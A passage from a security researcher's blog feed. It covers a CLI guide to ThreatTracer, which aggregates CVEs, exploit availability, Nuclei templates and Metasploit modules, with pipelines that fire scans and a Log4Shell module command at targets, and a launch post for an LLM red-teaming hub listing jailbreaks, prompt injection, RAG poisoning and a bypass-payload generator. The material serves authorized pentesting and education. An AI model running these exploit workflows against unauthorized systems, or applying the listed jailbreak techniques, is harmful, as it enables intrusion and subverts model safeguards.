everything relevant to exploitation: the CVEs, their CVSS scores, EPSS probability scores, whether CISA has confirmed active exploitation, Exploit-DB entries, GitHub PoC repositories sorted by star count (so you’re not digging through dead forks), whether a Nuclei template exists that you can fire immediately, and whether there’s a Metasploit module ready to go.</p><p>All of that, in parallel. One command.</p><h3>Installation</h3><pre>git clone https://github.com/anmolksachan/ThreatTracer.git<br>cd ThreatTracer<br>pip install -e .</pre><p>That gives you the threattracer command. If you&#39;re doing asset scanning (more on that shortly), also run:</p><pre>pip install python-Wappalyzer</pre><p>Wappalyzer adds fingerprinting for 1500+ technologies. The tool has its own header/body detection that works without it, but Wappalyzer catches a lot more edge cases, things like obscure CMSes, JavaScript frameworks, CDN signatures.</p><p>Tip: Use a virtual environment:</p><pre>python -m venv venv &amp;&amp; source venv/bin/activate<br>pip install -e .</pre><h3>API Keys</h3><p>You don’t <em>need</em> them. But without an NVD API key, you’re limited to 5 requests per 30 seconds, which starts hurting the moment you’re scanning anything with a decent-sized CVE list. The free key takes about two minutes to get: <a href="https://nvd.nist.gov/developers/request-an-api-key">https://nvd.nist.gov/developers/request-an-api-key</a></p><p>The GitHub token is more impactful than people expect. It unlocks the GitHub PoC search with star counts, Vulhub Docker environment discovery, and the Nuclei template index. Any token with public_repo scope works. <a href="https://github.com/settings/tokens">https://github.com/settings/tokens</a></p><p>Store them once:</p><pre>threattracer config --nvd-key YOUR_NVD_KEY<br>threattracer config --github-token ghp_yourtoken</pre><p>After that, they load automatically. You never have to pass them again.</p><h3>The scan Command</h3><p>Three modes. All of them are useful in different situations.</p><h3>Mode 1: Component name + version</h3><p>The one I use most during pentests. You find something running on a host, you throw the name and version at ThreatTracer, and you get the full picture.</p><pre>threattracer scan -c apache -v 2.4.51</pre><p>The CPE matching is smarter than most people expect. It uses fuzzy similarity scoring, so typing apache correctly resolves to apache:http_server without needing the exact NVD vendor string. It queries the top matching CPEs in parallel rather than one at a time, deduplicates the results, and enriches everything simultaneously.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TQ4BF0cQg3Pf8xAUYwFClw.png" /></figure><p>What comes back is a table with columns that are actually about exploitation, not just severity:</p><pre>Sev   CVE ID             CVSS   EPSS%   AV     PR    EDB  PoC  Nuclei  MSF  KEV   Published<br>🔴    CVE-2021-41773     9.8    56.3%   NET    NONE   ✓    ✓     ✓      ✓   🔥   2021-10-05<br>🟠    CVE-2021-42013     9.8    43.1%   NET    NONE   ✓    ✓     ✓      ✓   🔥   2021-10-07<br>🟡    CVE-2022-31813     7.5     4.2%   NET    NONE   ✗    ✓     ✗      ✗        2022-06-08</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8umiyIG-Ytg9EJMR4JcIhA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*JqMAa0rRwsM7fKgbTtNFJg.png" /></figure><p>That 🔥 Under KEV is the most important column on the table. It means CISA has confirmed this vulnerability is being actively exploited in real environments by ransomware groups, by nation-state actors, by whoever. You don&#39;t need to speculate about exploitability. Someone&#39;s already exploiting it.</p><p>Add --detail to get the full breakdown per CVE:</p><pre>threattracer scan -c log4j -v 2.14.1 --detail</pre><p>For Log4Shell, that panel shows CVSS 10.0, EPSS 97.5%, KEV entry with the date added and ransomware use confirmed, two Exploit-DB entries, five GitHub PoC repos sorted by stars (so the 2.4k-star one is at the top, not buried), a Vulhub Docker environment you can spin up to practice the exploit, a Nuclei template with the exact run command, and the Metasploit module path. And at the bottom, quick links to NVD, Sploitus, PacketStorm, and GitHub search, all clickable from the terminal if your terminal supports it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*dOB0HeMq2p3Kwj_W.gif" /><figcaption>View POC: <a href="https://youtu.be/W2VnnXLN5XQ">https://youtu.be/W2VnnXLN5XQ</a></figcaption></figure><h3>Mode 2: CVE ID directly</h3><p>When someone sends you a CVE in a message and asks if you’re affected:</p><pre>threattracer scan --cve CVE-2021-44228 --detail</pre><p>Or when you’re triaging a scanner output and want to check each finding:</p><pre>threattracer scan --cve CVE-2023-44487 --detail</pre><p>CVE-2023–44487 is the HTTP/2 Rapid Reset DDoS, an interesting case where CVSS 7.5 doesn’t fully capture the real-world impact, but the KEV entry and EPSS score tell a different story.</p><h3>Mode 3: CPE string</h3><p>For situations where you want surgical precision and you already have the exact CPE:</p><pre>threattracer scan --cpe &quot;cpe:2.3:a:apache:log4j:2.14.1:*:*:*:*:*:*:*&quot;</pre><h3>Filtering: The Part That Actually Saves Your Sanity</h3><p>Apache 2.4 has something like 80+ CVEs in NVD. You don’t need to read 80 CVEs during a pentest. You need the dangerous, exploitable ones that matter right now.</p><pre># Only confirmed actively-exploited CVEs, worst first<br>threattracer scan -c apache -v 2.4 --sort kev</pre><pre># Sort by EPSS — which ones are statistically most likely to be exploited soon<br>threattracer scan -c openssl -v 3.0.7 --sort epss</pre><pre># Just criticals from the last three years<br>threattracer scan -c struts -v 2.5 --severity critical --since 2021</pre><pre># Top 10 only<br>threattracer scan -c wordpress -v 5.8 --sort kev --limit 10</pre><p>The --sort kev flag is the one I reach for first. It puts CISA KEV entries at the top, then falls back to CVSS score. That ordering reflects reality better than pure CVSS — a CVSS 7.8 that&#39;s actively exploited in ransomware campaigns is more urgent than a CVSS 9.8 that nobody&#39;s ever actually weaponised.</p><p>For reporting and piping into other tools:</p><pre># JSON<br>threattracer scan -c nginx -v 1.18 -o json<br>threattracer scan -c nginx -v 1.18 -o json | jq &#39;.cves[] | select(.in_kev == true)&#39;<br>threattracer scan -c nginx -v 1.18 -o json | jq &#39;.summary&#39;</pre><pre># CSV — for client reports or ticketing systems<br>threattracer scan -c apache -v 2.4.51 -o csv &gt; findings.csv</pre><p>The CSV output includes columns for Exploit-DB links, PoC links, Nuclei template links, and MSF module paths. Paste it into a client deliverable template, and you’re 80% done with the evidence section.</p><h3>The Asset Scanner: The Feature That Changed My Workflow</h3><p>Before v4.1, you had to know what was running on a target before you could use ThreatTracer. Which meant running WhatWeb first, or checking response headers manually, or some other step that added friction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*0SClt8HzMmkVJlZA_u55Dg.gif" /><figcaption>Video POC: <a href="https://youtu.be/4Q-ZEnVbD3g">https://youtu.be/4Q-ZEnVbD3g</a></figcaption></figure><p>The asset command eliminates that step entirely.</p><pre>threattracer asset https://target.com</pre><p>It fetches the URL, follows redirects, reads all the HTTP response headers (Server, X-Powered-By, X-Generator, X-Drupal-Cache, all of it), fingerprints the HTML body for technology signatures, runs Wappalyzer if you have it installed, and for every technology it can identify a version for — it runs the full CVE + exploit scan automatically.</p><p>The output starts with what it found:</p><pre>╭─ 🌐 Asset: https://target.com ─────────────────────────────────╮<br>│ Final URL:    https://www.target.com                             │<br>│ Status:       200                                                │<br>│ Server:       Apache/2.4.41 (Ubuntu)                            │<br>│ CVEs Found:   23    Critical: 4    Weaponised: 2                 │<br>╰──────────────────────────────────────────────────────────────────╯</pre><pre>Detected Technologies:<br>  Apache HTTP Server    2.4.41    95% confidence<br>  PHP                   7.4.3     90% confidence<br>  WordPress             5.7.1     85% confidence<br>  OpenSSL               1.1.1     75% confidence</pre><p>Then below that: CVEs for each technology, same enrichment as always. One command, full picture.</p><p>A note on “Weaponised: 2” in that summary, that’s the count of CVEs where either a Metasploit module exists OR the CVE is in CISA KEV. The tool has a weaponised property specifically because there&#39;s a difference between &quot;has a GitHub PoC&quot; and &quot;has an MSF module or is confirmed exploited in the wild.&quot; The latter is a stronger statement.</p><h3>Batch Mode</h3><p>This is where it gets genuinely useful for anything at scale.</p><p>Create a targets.txt:</p><pre># Scope for October engagement<br># Lines starting with # are skipped</pre><pre>https://app.target.com<br>https://api.target.com<br>https://admin.target.com<br>https://staging.target.com<br>http://10.10.10.5:8080</pre><p>Then:</p><pre>threattracer asset --file targets.txt --concurrency 5</pre><p>Five targets simultaneously. When it’s done, you get a summary table:</p><pre>URL                         Status  Technologies                   CVEs  Crit  KEV  MSF<br>https://app.target.com        200   WordPress 6.1, PHP 8.0          12    2     1    0<br>https://api.target.com        200   Express, Node.js 16             4     0     0    0<br>https://admin.target.com      200   Apache 2.4.29, PHP 7.2          31    7     3    2<br>https://staging.target.com    200   nginx 1.14, PHP 8.1             8     1     0    1<br>http://10.10.10.5:8080        200   Jenkins 2.303                   17    4     2    3</pre><p>That Jenkins host and the admin subdomain jump out immediately. 3 MSF modules on Jenkins. You know where you’re spending the next two hours.</p><h3>The Part About EPSS That Most People Skip Over</h3><p>CVSS scores are well understood. But EPSS is newer, and I think underused, so it’s worth a paragraph.</p><p>EPSS (Exploit Prediction Scoring System) is a probability score from FIRST.org. It runs from 0 to 1 and represents the likelihood that a given CVE will be exploited in the next 30 days, based on real threat intelligence data, what’s showing up in exploit kits, what’s being discussed in underground forums, and what’s being scanned for in the wild.</p><p>A CVE can be CVSS 9.8 and EPSS 0.003. That means it’s theoretically catastrophic, but practically nobody’s exploiting it — maybe because it requires specific configuration, or the affected software isn’t widely deployed, or there’s no reliable public exploit. Conversely, a CVE can be CVSS 5.4 and EPSS 0.88. That means real attackers are actively going after it despite the lower severity rating.</p><p>For pentesters, sorting by --sort epss on a list of CVEs gives you the ones most likely to have working, reliable exploits in the wild right now. It&#39;s a better signal than CVSS when you&#39;re deciding where to spend your time.</p><pre>threattracer scan -c apache -v 2.4 --sort epss --limit 5 --detail</pre><h3>The Nuclei + MSF Integration, Concretely</h3><p>When ThreatTracer finds a Nuclei template for a CVE, the detail panel includes:</p><pre>Nuclei Templates (1):<br>  ▸ CVE-2021-44228  critical  https://github.com/projectdiscovery/nuclei-templates/...<br>  Run: nuclei -t cves/ -id cve-2021-44228</pre><p>Copy that command, run it against your target, and you have a confirmed finding instead of a theoretical one. The difference matters when you’re writing a report.</p><p>When it finds a Metasploit module:</p><pre>Metasploit Modules (1):<br>  ▸ [exploit] exploit/multi/misc/log4shell_header_injection<br>    Apache Log4j2 Remote Code Execution via JNDI injection in HTTP headers<br>  Run: msfconsole -q -x &#39;use exploit/multi/misc/log4shell_header_injection&#39;</pre><p>That’s not a description of what you <em>could</em> do. That’s the exact command.</p><p>Putting them together into a workflow:</p><pre># Find CVEs with Nuclei templates and fire them<br>threattracer scan -c nginx -v 1.14 -o json | \<br>  jq -r &#39;.cves[] | select(.nuclei_templates | length &gt; 0) | .cve_id&#39; | \<br>  sort -u | \<br>  xargs -I{} nuclei -t cves/ -id {} -target https://target.com</pre><pre># Find MSF module paths for everything exploitable<br>threattracer scan -c struts -v 2.3 -o json | \<br>  jq -r &#39;.cves[] | select(.msf_modules | length &gt; 0) | .msf_modules[0].fullname&#39;</pre><h3>Bug Bounty Workflows</h3><p>The EPSS + asset scanning combination is particularly useful for bug bounty triage, where you have a large scope and limited time. Higher EPSS correlates with CVEs that are actually exploitable (not just theoretical), which correlates with findings you can realistically demonstrate.</p><pre># Discovery pipeline<br>subfinder -d hackerone-target.com -silent | httpx -silent &gt; live.txt</pre><pre># Triage across all live subdomains<br>threattracer asset --file live.txt \<br>  --concurrency 10 \<br>  --severity critical,high \<br>  --sort epss \<br>  -o json &gt; recon.json</pre><pre># What has weaponised CVEs?<br>cat recon.json | jq &#39;.[] | select(.weaponised_count &gt; 0) | {url, weaponised_count}&#39;</pre><pre># Get Nuclei template IDs for everything testable<br>cat recon.json | \<br>  jq -r &#39;.[].cve_results[].records[] | <br>    select(.nuclei_templates | length &gt; 0) | .cve_id&#39; | \<br>  sort -u</pre><pre># Fire Nuclei at a specific target<br>cat recon.json | \<br>  jq -r &#39;.[].cve_results[].records[] |<br>    select(.nuclei_templates | length &gt; 0) | .cve_id&#39; | \<br>  sort -u | \<br>  xargs -I{} nuclei -t cves/ -id {} -target <a href="https://app.target.com/">https://app.target.com</a></pre><h3>A Few Things That Aren’t Obvious</h3><p><strong>Version detection isn’t guaranteed.</strong> Some applications deliberately hide version information. When the asset scanner can’t determine a version for a technology, it shows the technology in the detected list but doesn’t run a CVE scan because querying NVD for “all WordPress CVEs ever” when you don’t know the version is noise, not signal. Take those unversioned detections as a prompt to go check manually.</p><p><strong>GitHub PoC quality is variable.</strong> ThreatTracer sorts by stars and filters out forks, which cuts out most of the garbage, but a 50-star repo from two years ago might still be broken or incomplete. The source is shown alongside each PoC (trickest, github_api, vulhub) Vulhub entries are usually the most reliable for hands-on testing because they come with Docker environments that are actually maintained.</p><p><strong>The cache is your friend on long engagements.</strong> Everything gets cached in ~/.threattracer/cache.db for 6 hours. Scanning the same target twice in a session is instant the second time. If you want to force fresh data:</p><pre>threattracer cache-cmd --clear</pre><p><strong>The concurrency limit on batch scans is intentional.</strong> The default is 3 concurrent scans. You can push it higher (--concurrency 10) but keep in mind you&#39;re making actual HTTP requests to real targets. On a bug bounty program with rate limiting in scope, slamming 20 concurrent requests at all their subdomains simultaneously might get you banned before you&#39;ve found anything useful.</p><h3>The Practical Reality</h3><p>Here’s what my workflow looks like on an engagement now (just an example), start to finish:</p><pre># 1. Find live targets<br>subfinder -d target.com -silent | httpx -silent &gt; live.txt<br><br># 2. Initial sweep - what&#39;s running, what&#39;s dangerous<br>threattracer asset --file live.txt --concurrency 5 --sort kev -o json &gt; recon.json<br><br># 3. Find the highest priority targets<br>cat recon.json | jq &#39;.[] | select(.critical_count &gt; 0) | <br>  {url, critical_count, weaponised_count, <br>   techs: [.technologies[] | {name, version}]}&#39;<br><br># 4. Deep dive on interesting targets<br>threattracer asset https://admin.target.com --detail --sort kev<br><br># 5. Test confirmed findings<br>nuclei -t cves/ -id cve-2021-44228 -target https://admin.target.com<br><br># 6. Export for the report<br>threattracer asset https://admin.target.com -o csv &gt; admin-findings.csv</pre><p>What used to take a morning of manual lookups is now a 20-minute automated sweep before I start actually testing anything. The manual work still happens, you still need to verify, to understand the context, to write the report intelligently. But you’re starting that manual work with a complete picture instead of building the picture piece by piece across six browser tabs.</p><h3>Installing, in Full</h3><pre># Clone<br>git clone https://github.com/anmolksachan/ThreatTracer.git<br>cd ThreatTracer</pre><pre># Install<br>pip install -e .</pre><pre># Optional: better asset fingerprinting<br>pip install python-Wappalyzer</pre><pre># Set up keys (do this once)<br>threattracer config --nvd-key YOUR_NVD_KEY<br>threattracer config --github-token YOUR_GITHUB_TOKEN</pre><pre># Test it<br>threattracer scan -c log4j -v 2.14.1 --detail</pre><p>If you’re on a shared box or using a venv:</p><pre>python -m venv venv &amp;&amp; source venv/bin/activate<br>pip install -e .</pre><p>That’s it. The ~/.threattracer/ directory is where it stores your keys, cache, and local Exploit-DB index. If anything goes sideways, rm -rf ~/.threattracer/ and start fresh.</p><h3>Command Reference (The Quick Version)</h3><pre># Help<br>threattracer --help<br>threattracer scan --help<br>threattracer asset --help</pre><pre># Scan by component<br>threattracer scan -c COMPONENT -v VERSION<br>threattracer scan -c apache -v 2.4.51 --detail<br>threattracer scan -c wordpress -v 5.8 --severity critical --sort kev<br>threattracer scan -c nginx -v 1.18 -o json | jq &#39;.summary&#39;<br>threattracer scan -c nginx -v 1.18 -o csv &gt; out.csv</pre><pre># Scan by CVE<br>threattracer scan --cve CVE-2021-44228 --detail<br>threattracer scan --cve CVE-2023-44487 -o json</pre><pre># Scan by CPE<br>threattracer scan --cpe &quot;cpe:2.3:a:apache:log4j:2.14.1:*:*:*:*:*:*:*&quot;</pre><pre># Asset scanning<br>threattracer asset <a href="https://target.com/">https://target.com</a><br>threattracer asset <a href="https://target.com/">https://target.com</a> --detail --sort kev<br>threattracer asset --file targets.txt --concurrency 5<br>threattracer asset --file targets.txt -o json &gt; results.json</pre><pre># Maintenance<br>threattracer sync                          # refresh exploit-db<br>threattracer cache-cmd --purge-expired    # clean stale cache<br>threattracer cache-cmd --clear            # wipe everything</pre><h3>Final Thought</h3><p>None of the data that ThreatTracer surfaces is new or proprietary. NVD has been publicly accessible for decades. Exploit-DB has existed since 2006. CISA’s KEV catalog has been public since 2021. The Nuclei template repo is completely open. Metasploit modules are public. All of it is free.</p><p>The problem was never access to this information. It was the 40 minutes of switching tabs, copying CVE IDs, manually checking five separate systems, and trying to hold it all in your head simultaneously. That friction adds up. It’s the difference between doing thorough triage on every finding and doing thorough triage on the ones you have time for.</p><p>ThreatTracer is just friction removal. One command instead of six tabs.</p><p><strong>GitHub:</strong> <a href="https://github.com/anmolksachan/ThreatTracer">https://github.com/anmolksachan/ThreatTracer</a></p><p><em>Original authors: @FR13ND0x7F, @0xCaretaker, @meppohak5</em></p><p><em>Tags: cybersecurity, penetration-testing, bug-bounty, cve, vulnerability-assessment, Python, security-tools, red-team</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6575f6b0f0c7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Introducing LLM PenTest Hub: Your Complete Resource for AI Security Testing]]></title>
            <link>https://anmolksachan.medium.com/introducing-llm-pentest-hub-your-complete-resource-for-ai-security-testing-0ff24f47784e?source=rss-b89a768e4b30------2</link>
            <guid isPermaLink="false">https://medium.com/p/0ff24f47784e</guid>
            <dc:creator><![CDATA[Anmol K Sachan]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 05:23:30 GMT</pubDate>
            <atom:updated>2026-01-28T05:23:30.973Z</atom:updated>
            <content:encoded><![CDATA[<p><em>By FR13ND0x7F | January 28, 2026</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JCfhxVVOi3cojvKH-hbGjQ.png" /></figure><blockquote><em>As Large Language Models continue to revolutionize how we interact with technology, a new frontier of security challenges has emerged. Today, I’m excited to introduce LLM PenTest Hub — a comprehensive, open-source platform designed to democratize AI security testing and education.</em></blockquote><p>🔗 <a href="https://anmolksachan.github.io/LLMPenTestHub/"><strong>Visit LLM PenTest Hub →</strong></a></p><h3>The Growing Need for LLM Security</h3><p>Over the past year, we’ve witnessed an explosion in LLM adoption across industries. From customer service chatbots to code generation assistants, these powerful AI systems are becoming deeply integrated into our digital infrastructure. But with this rapid adoption comes a critical question: <strong>How secure are these systems?</strong></p><p>Recent incidents have highlighted the vulnerability landscape: GitHub Copilot’s remote code execution vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-53773">CVE-2025–53773</a>), ChatGPT’s memory poisoning attacks, and countless prompt injection exploits that have exposed sensitive data. The traditional web application security playbook simply doesn’t apply here; we’re dealing with an entirely new attack surface.</p><h3>What is LLM PenTest Hub?</h3><p>LLM PenTest Hub is a free, browser-based platform that serves as your complete resource for learning, testing, and understanding LLM security vulnerabilities. Think of it as the “<a href="https://genai.owasp.org/">OWASP for AI</a>” — a centralized hub where security researchers, developers, and enthusiasts can explore the latest attack techniques, test real LLMs, and build their expertise in this rapidly evolving field.</p><blockquote><strong><em>🎯 Mission:</em></strong><em> To make LLM security testing accessible, educational, and practical for everyone from curious beginners to seasoned security professionals.</em></blockquote><h3>Core Features</h3><h3>🔍 Searchable Technique Database</h3><p>12+ documented attack vectors including DAN jailbreaks, indirect prompt injection, RAG poisoning, and MCP exploitation. Each technique comes with detailed explanations, example payloads, and mitigation strategies.</p><h3>🧪 Real-Time LLM Tester</h3><p>Test your prompts against actual LLM APIs with automatic parameter detection for OpenAI, Anthropic, Google, Mistral, Groq, and more. See how different models respond to various attack vectors in real-time.</p><h3>🔑 Secure Key Management</h3><p>Store API keys locally in your browser with built-in validation tools. Your credentials never leave your device — everything runs client-side with direct API calls.</p><h3>🛠️ AI-Powered Bypass Generator</h3><p>Create custom prompt injection payloads using templates or AI assistance. Choose between template-based generation (no API required) or AI-powered creation for sophisticated, context-specific attacks.</p><h3>📚 Complete Learning Guide</h3><p>8-step comprehensive course covering everything from LLM architecture to advanced exploitation techniques, including OWASP Top 10 for LLMs and real-world case studies.</p><h3>🛡️ Security Tool Directory</h3><p>Curated collection of 12+ essential security testing tools, including Garak, PyRIT, Promptmap, LLMFuzzer, and more, with direct links and usage descriptions.</p><h3>Why This Matters</h3><h3>1. The Security Gap is Widening</h3><p>Traditional security tools and methodologies aren’t equipped to handle LLM vulnerabilities. SQL injection scanners won’t catch prompt injection. WAFs can’t filter malicious instructions hidden in images or PDFs. We need specialized tools and knowledge — that’s what LLM PenTest Hub provides.</p><h3>2. Education is Critical</h3><p>The best defense is a well-informed development community. By understanding how these attacks work — from token smuggling to context overflow — developers can build more resilient systems from the ground up. Our platform makes this knowledge accessible, not locked behind expensive certifications or academic papers.</p><h3>3. Responsible Security Testing</h3><p>We’ve designed the platform with ethical use in mind. Every technique is documented with mitigation strategies. Every tool comes with usage guidelines. Our goal isn’t to create malicious actors but to empower defenders with the knowledge they need to protect LLM-powered applications.</p><h3>Real-World Attack Techniques You’ll Master</h3><h3>Prompt Injection Attacks</h3><p>Learn how attackers manipulate LLM behavior by crafting malicious inputs that override system instructions. We cover everything from basic injection to sophisticated multi-turn attacks and payload splitting techniques that bypass detection systems.</p><p><strong>Example techniques:</strong></p><ul><li>Direct prompt injection</li><li>Indirect injection via external content</li><li>Payload splitting across multiple turns</li><li>Context overflow attacks</li><li>Token smuggling with encoding</li></ul><h3>Agent Exploitation</h3><p>As LLMs gain tool access through frameworks like Model Context Protocol (MCP), new attack vectors emerge. Discover how GitHub Copilot was exploited to execute arbitrary code, and learn to identify similar vulnerabilities in AI agents.</p><p><strong>Key vulnerabilities:</strong></p><ul><li>MCP server exploitation</li><li>Tool abuse and privilege escalation</li><li>Agent instruction hijacking</li><li>Supply chain attacks on AI workflows</li></ul><h3>RAG Poisoning</h3><p>Retrieval Augmented Generation systems are only as secure as their knowledge bases. Explore how attackers poison vector databases and manipulate embeddings to influence LLM responses — and how to defend against it.</p><p><strong>Attack vectors:</strong></p><ul><li>Document injection into knowledge bases</li><li>Vector database manipulation</li><li>Citation fabrication</li><li>SEO optimization for AI retrieval</li></ul><h3>Multi-Modal Attacks</h3><p>Modern LLMs process images, audio, and documents. Learn how malicious instructions can be hidden in EXIF metadata, ASCII art, or mind maps that appear innocent to humans but are executed by AI systems.</p><p><strong>Techniques covered:</strong></p><ul><li>Image-based instruction embedding</li><li>EXIF metadata exploitation</li><li>ASCII art instruction encoding</li><li>Hidden CSS/HTML comment injection</li></ul><blockquote><em>⚠️ </em><strong><em>Important Note:</em></strong><em> Some features are still under active development as we continuously expand the platform with new techniques, tools, and capabilities. We’re committed to keeping LLM PenTest Hub updated with the latest security research and vulnerabilities.</em></blockquote><h3>How It Works</h3><p>The beauty of LLM PenTest Hub is its simplicity. Everything runs directly in your browser — no installations, no complex setups. Here’s how you get started:</p><p><strong>Step 1: Visit the Platform</strong><br> Navigate to the website and explore the technique database. Browse attacks by category or search for specific vulnerabilities.</p><p><strong>Step 2: Store Your API Keys</strong><br> Add your LLM API keys to the secure local storage. The platform supports OpenAI, Anthropic, Google Gemini, Mistral, and more. Keys are validated to ensure they work before testing.</p><p><strong>Step 3: Test in Real-Time</strong><br> Select a provider, choose a model, and send your test prompts. See how different LLMs respond to various attack vectors. Parameters are automatically configured based on the provider.</p><p><strong>Step 4: Generate Custom Payloads</strong><br> Use our template system for quick payload generation, or leverage AI assistance to create sophisticated, context-specific attacks tailored to your testing needs.</p><p><strong>Step 5: Learn and Document</strong><br> Each technique comes with detailed explanations, example payloads, mitigation strategies, and references to academic research and real-world incidents.</p><h3>For Security Researchers</h3><p>If you’re conducting security assessments on LLM applications, this platform provides a structured framework for your testing methodology. Use our technique database as a checklist, leverage the payload generator for custom attacks, and reference our mitigation guidance in your reports.</p><p>The real-time testing capability means you can validate findings immediately. No need to write custom scripts or manage multiple API clients — everything is integrated and ready to use.</p><h3>For Developers</h3><p>Understanding attack vectors is the first step toward building secure LLM applications. Use LLM PenTest Hub to:</p><ul><li>Test your own prompts and system instructions for vulnerabilities</li><li>Understand how prompt injection works before implementing guardrails</li><li>Learn defensive coding practices specific to LLM applications</li><li>Stay updated on the latest vulnerability disclosures and CVEs</li><li>Validate your security controls against known attack patterns</li></ul><h3>The Learning Path</h3><p>Our comprehensive guide takes you from zero to LLM security expert in eight structured steps:</p><ol><li><strong>Understanding LLM Architecture</strong> — Learn how these systems process input and generate output, including context windows, tokenization, and system prompts</li><li><strong>OWASP Top 10 for LLMs</strong> — Master the most critical vulnerabilities: Prompt Injection, Sensitive Information Disclosure, Supply Chain Vulnerabilities, Data Poisoning, and more</li><li><strong>Prompt Injection Techniques</strong> — Study direct and indirect injection methods, including context hijacking, payload splitting, and obfuscation</li><li><strong>Jailbreaking Methods</strong> — Explore DAN (Do Anything Now), role-playing attacks, virtualization techniques, and advanced bypass frameworks</li><li><strong>Tool-Augmented LLM Attacks</strong> — Attack AI agents with extended capabilities, exploit MCP vulnerabilities, and manipulate RAG systems</li><li><strong>Red Teaming &amp; Testing</strong> — Use automated tools like Garak, LLMFuzzer, Promptmap, and PyRIT for comprehensive security assessments</li><li><strong>Defense Mechanisms</strong> — Implement robust security controls, including input validation, output filtering, prompt formatting, and guardrails</li><li><strong>Real-World Case Studies</strong> — Analyze actual security incidents: GitHub Copilot RCE, ChatGPT memory poisoning, Bing chatbot exploitation</li></ol><h3>Community and Open Source</h3><p>LLM PenTest Hub is completely open source and community-driven. The platform is built on research from OWASP, academic institutions, and independent security researchers. We believe in transparent, collaborative security research.</p><p>As the field evolves, so will the platform. We’re continuously adding new techniques, updating existing documentation, and incorporating feedback from the security community. This is a living resource that grows with the threat landscape.</p><p><strong>Built on research from:</strong></p><ul><li>OWASP GenAI Security Project</li><li>Academic papers (arXiv, IEEE, ACM)</li><li>Security researchers and bug bounty hunters</li><li>Real-world incident analyses and CVE disclosures</li></ul><h3>What’s Next</h3><p>We’re actively working on several exciting features currently in development:</p><p>🚧 <strong>In Development:</strong></p><ul><li>Interactive playground for testing attacks in a sandboxed environment</li><li>Automated vulnerability scanning for LLM applications</li><li>Community-contributed payload library with a voting system</li><li>Integration with popular security testing frameworks (Burp Suite, OWASP ZAP)</li><li>Advanced analytics and reporting capabilities for security assessments</li><li>API endpoint for programmatic access to the technique database</li></ul><h3>A Word on Responsible Disclosure</h3><p>As you explore LLM security testing, remember the importance of responsible disclosure. If you discover vulnerabilities in production systems:</p><p>✅ Only test systems you own or have explicit permission to test<br> ✅ Document your findings thoroughly with reproduction steps<br> ✅ Contact the vendor through proper security channels<br> ✅ Give them a reasonable time to address issues before public disclosure<br> ✅ Use knowledge for defense, not exploitation</p><p><strong>The security community thrives on ethical research and responsible disclosure. Let’s keep it that way.</strong></p><h3>Final Thoughts</h3><p>The security challenges posed by Large Language Models are complex, evolving, and critically important. As these systems become more powerful and more integrated into our digital lives, the need for robust security practices grows exponentially.</p><p>LLM PenTest Hub exists to bridge the knowledge gap, to democratize security research, and to build a community of informed practitioners who understand both the capabilities and the risks of these transformative technologies.</p><p>Whether you’re a seasoned penetration tester, a curious developer, or someone just beginning to explore AI security, there’s a place for you in this community. The platform is free, open, and designed to grow with your expertise.</p><h3>🚀 Get Started Today</h3><p>Visit <a href="https://anmolksachan.github.io/LLMPenTestHub/"><strong>LLM PenTest Hub</strong></a> and take your first step into the fascinating world of AI security testing.</p><p><strong>Key Features at a Glance:</strong></p><ul><li>✅ 12+ documented attack techniques with real payloads</li><li>✅ Real-time LLM testing against major providers</li><li>✅ Secure local API key management with validation</li><li>✅ AI-powered bypass payload generator</li><li>✅ Complete learning guide from beginner to expert</li><li>✅ 12+ curated security tools and resources</li><li>✅ 100% browser-based, no installation required</li><li>✅ Open source and community-driven</li></ul><h3>About the Project</h3><p><strong>LLM PenTest Hub</strong> is an open-source initiative dedicated to advancing LLM security research and education. Built on knowledge from OWASP, academic research, and the global security community.</p><p><strong>Disclaimer:</strong> This platform is intended for educational purposes and authorized security testing only. Always obtain proper permission before testing any systems you do not own.</p><p><em>Last updated: January 2026</em></p><p>💬 <strong>What are your thoughts on LLM security?</strong> Have you encountered prompt injection in the wild? Share your experiences in the comments below!</p><p>🔔 <strong>Follow for more content on AI security, LLM vulnerabilities, and responsible disclosure practices.</strong></p><p>#AIecurity #LLM #CyberSecurity #PromptInjection #PenetrationTesting #OWASP #MachineLearning #AI #InfoSec #RedTeam</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0ff24f47784e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How “The Time Machine v3.0” Landed Me in the CERT-In Hall of Fame]]></title>
            <link>https://anmolksachan.medium.com/how-the-time-machine-v3-0-landed-me-in-the-cert-in-hall-of-fame-5d356ad34911?source=rss-b89a768e4b30------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d356ad34911</guid>
            <dc:creator><![CDATA[Anmol K Sachan]]></dc:creator>
            <pubDate>Fri, 31 Oct 2025 05:27:28 GMT</pubDate>
            <atom:updated>2025-10-31T05:27:28.530Z</atom:updated>
